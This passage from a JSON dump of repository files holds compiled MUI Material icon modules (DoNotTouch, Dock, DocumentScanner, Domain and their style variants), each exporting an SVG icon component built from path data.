    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 10.17-2.5-2.5V2.25c0-.69.56-1.25 1.25-1.25S13 1.56 13 2.25zm7 2.58v-7.5C20 4.56 19.44 4 18.75 4s-1.25.56-1.25 1.25V11h-1V3.25c0-.69-.56-1.25-1.25-1.25S14 2.56 14 3.25v7.92l6 6zM9.5 4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18L9.5 6.67zm3.5 5.92-2.5-2.5V2.25c0-.69.56-1.25 1.25-1.25S13 1.56 13 2.25zm7 2.58v-7.5C20 4.56 19.44 4 18.75 4s-1.25.56-1.25 1.25V11h-1V3.25c0-.69-.56-1.25-1.25-1.25S14 2.56 14 3.25v7.92l6 6zM9.5 4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18L9.5 6.67zm11.69 16.94L2.81 2.81 1.39 4.22l5.63 5.63L7 9.83v4.3c-1.11-.64-2.58-1.47-2.6-1.48-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26-.04.01-1.16 1.11-1.16 1.11l6.8 7.18c.57.6 1.35.94 2.18.94H17c.62 0 1.18-.19 1.65-.52l-.02-.02 1.15 1.15z\"\n}), 'DoNotTouch');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 7 9.83v4.3l-2.6-1.48c-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26L2 13.88l6.8 7.18c.57.6 1.35.94 2.18.94H17c.62 0 1.18-.19 1.66-.52l1.12 1.12 1.41-1.41zM17 20h-6c-.39 0-.64-.23-.75-.36L6.87 16H9v-4.17l8.14 8.14c-.05.01-.09.03-.14.03m-3.17-9H14V3.25c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25V11h1V5.25c0-.69.56-1.25 1.25-1.25S20 4.56 20 5.25v11.92l-2-2V13h-2.17zm-.83-.83V2.25C13 1.56 12.44 1 11.75 1s-1.25.56-1.25 1.25v5.42zm-3.5-3.5V4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18z\"\n}), 'DoNotTouchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 7 9.83v4.3l-2.6-1.48c-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26L2 13.88l6.8 7.18c.57.6 1.35.94 2.18.94H17c.62 0 1.18-.19 1.66-.52l1.12 1.12 1.41-1.41zM17 20h-6c-.39 0-.64-.23-.75-.36L6.87 16H9v-4.17l8.14 8.14c-.05.01-.09.03-.14.03m-3.17-9H14V3.25c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25V11h1V5.25c0-.69.56-1.25 1.25-1.25S20 4.56 20 5.25v11.92l-2-2V13h-2.17zm-.83-.83V2.25C13 1.56 12.44 1 11.75 1s-1.25.56-1.25 1.25v5.42zm-3.5-3.5V4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18z\"\n}), 'DoNotTouchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 10.17-2.5-2.5V2.25c0-.69.56-1.25 1.25-1.25S13 1.56 13 2.25zm7-4.85c0-.65-.47-1.25-1.12-1.32-.75-.08-1.38.51-1.38 1.24v5.25c0 .28-.22.5-.5.5s-.5-.22-.5-.5V3.31c0-.65-.47-1.25-1.12-1.32-.75-.06-1.38.53-1.38 1.26v7.92l6 6zM9.5 4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18L9.5 6.67zM17 22c.62 0 1.18-.19 1.65-.52l-.02-.02.44.44c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.92 4.92L7 9.83v4.3l-2.6-1.48c-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26L2 13.88l6.8 7.18c.57.6 1.35.94 2.18.94z\"\n}), 'DoNotTouchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 10.17-2.5-2.5V2.25c0-.69.56-1.25 1.25-1.25S13 1.56 13 2.25zm7-4.85c0-.65-.47-1.25-1.12-1.32-.75-.08-1.38.51-1.38 1.24v5.25c0 .28-.22.5-.5.5s-.5-.22-.5-.5V3.31c0-.65-.47-1.25-1.12-1.32-.75-.06-1.38.53-1.38 1.26v7.92l6 6zM9.5 4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18L9.5 6.67zM17 22c.62 0 1.18-.19 1.65-.52l-.02-.02.44.44c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.92 4.92L7 9.83v4.3l-2.6-1.48c-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26L2 13.88l6.8 7.18c.57.6 1.35.94 2.18.94z\"\n}), 'DoNotTouchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 10.17-2.5-2.5V1H13zM20 4h-2.5v7h-1V2H14v9.17l6 6zM9.5 3H7.01v1.18L9.5 6.67zm11.69 18.19L2.81 2.81 1.39 4.22 7 9.83v4.3l-3.32-1.9L2 13.88 9.68 22h9.54l.56.61z\"\n}), 'DoNotTouchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 10.17-2.5-2.5V1H13zM20 4h-2.5v7h-1V2H14v9.17l6 6zM9.5 3H7.01v1.18L9.5 6.67zm11.69 18.19L2.81 2.81 1.39 4.22 7 9.83v4.3l-3.32-1.9L2 13.88 9.68 22h9.54l.56.61z\"\n}), 'DoNotTouchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 15.17V13h-2.17zm-9-3.34 8.14 8.14c-.05.01-.09.03-.14.03h-6c-.39 0-.64-.23-.75-.36L6.87 16H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 7 9.83v4.3l-2.6-1.48c-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26L2 13.88l6.8 7.18c.57.6 1.35.94 2.18.94H17c.62 0 1.18-.19 1.66-.52l1.12 1.12 1.41-1.41zM17 20h-6c-.39 0-.64-.23-.75-.36L6.87 16H9v-4.17l8.14 8.14c-.05.01-.09.03-.14.03m-3.17-9H14V3.25c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25V11h1V5.25c0-.69.56-1.25 1.25-1.25S20 4.56 20 5.25v11.92l-2-2V13h-2.17zm-.83-.83V2.25C13 1.56 12.44 1 11.75 1s-1.25.56-1.25 1.25v5.42zm-3.5-3.5V4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18z\"\n}, \"1\")], 'DoNotTouchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoNotTouchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 15.17V13h-2.17zm-9-3.34 8.14 8.14c-.05.01-.09.03-.14.03h-6c-.39 0-.64-.23-.75-.36L6.87 16H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22 7 9.83v4.3l-2.6-1.48c-.17-.09-.34-.14-.54-.14-.26 0-.5.09-.7.26L2 13.88l6.8 7.18c.57.6 1.35.94 2.18.94H17c.62 0 1.18-.19 1.66-.52l1.12 1.12 1.41-1.41zM17 20h-6c-.39 0-.64-.23-.75-.36L6.87 16H9v-4.17l8.14 8.14c-.05.01-.09.03-.14.03m-3.17-9H14V3.25c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25V11h1V5.25c0-.69.56-1.25 1.25-1.25S20 4.56 20 5.25v11.92l-2-2V13h-2.17zm-.83-.83V2.25C13 1.56 12.44 1 11.75 1s-1.25.56-1.25 1.25v5.42zm-3.5-3.5V4.25C9.5 3.56 8.94 3 8.25 3c-.67 0-1.2.53-1.24 1.18z\"\n}, \"1\")], 'DoNotTouchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 23h8v-2H8zm8-21.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}), 'Dock');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 23h8v-2H8zm8-21.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}), 'Dock');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 23h8v-2H8zm8-21.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}), 'DockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 23h8v-2H8zm8-21.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}), 'DockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 23h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1s.45 1 1 1m7-21.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}), 'DockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 23h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-.55 0-1 .45-1 1s.45 1 1 1m7-21.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}), 'DockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 23h8v-2H8zM18 1.01 6 1v18h12zM16 15H8V5h8z\"\n}), 'DockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 23h8v-2H8zM18 1.01 6 1v18h12zM16 15H8V5h8z\"\n}), 'DockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5h8v10H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 21h8v2H8zm8-19.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}, \"1\")], 'DockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5h8v10H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 21h8v2H8zm8-19.99L8 1c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M16 15H8V5h8z\"\n}, \"1\")], 'DockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScanner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zm-1 0c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM15 8H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}), 'DocumentScanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScanner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zm-1 0c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM15 8H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}), 'DocumentScanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zM17 6H7v12h10zm2 12c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM15 8H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}), 'DocumentScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zM17 6H7v12h10zm2 12c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM15 8H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}), 'DocumentScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1H4v2c0 .55-.45 1-1 1m14-4c0 .55.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1M3 18c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1H4v-2c0-.55-.45-1-1-1m14 4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1m2-4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM9 9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1m0 3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1m0 3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1\"\n}), 'DocumentScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1H4v2c0 .55-.45 1-1 1m14-4c0 .55.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V2c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1M3 18c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1H4v-2c0-.55-.45-1-1-1m14 4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1m2-4c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM9 9c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1m0 3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1m0 3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1\"\n}), 'DocumentScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zM19 4v16H5V4zm-4 4H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}), 'DocumentScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zM19 4v16H5V4zm-4 4H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}), 'DocumentScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 6v12h10V6zm8 10H9v-2h6zm0-3H9v-2h6zm0-3H9V8h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zM17 6H7v12h10zm2 12c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM15 8H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}, \"1\")], 'DocumentScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DocumentScannerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 6v12h10V6zm8 10H9v-2h6zm0-3H9v-2h6zm0-3H9V8h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3H4v3H2V1h5zm15 3V1h-5v2h3v3zM7 21H4v-3H2v5h5zm13-3v3h-3v2h5v-5zM17 6H7v12h10zm2 12c0 1.1-.9 2-2 2H7c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2zM15 8H9v2h6zm0 3H9v2h6zm0 3H9v2h6z\"\n}, \"1\")], 'DocumentScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Domain.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'Domain');"
  },
  {
    "path": "packages/mui-icons-material/lib/Domain.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'Domain');"
  },
  {
    "path": "packages/mui-icons-material/lib/DomainAdd.js",
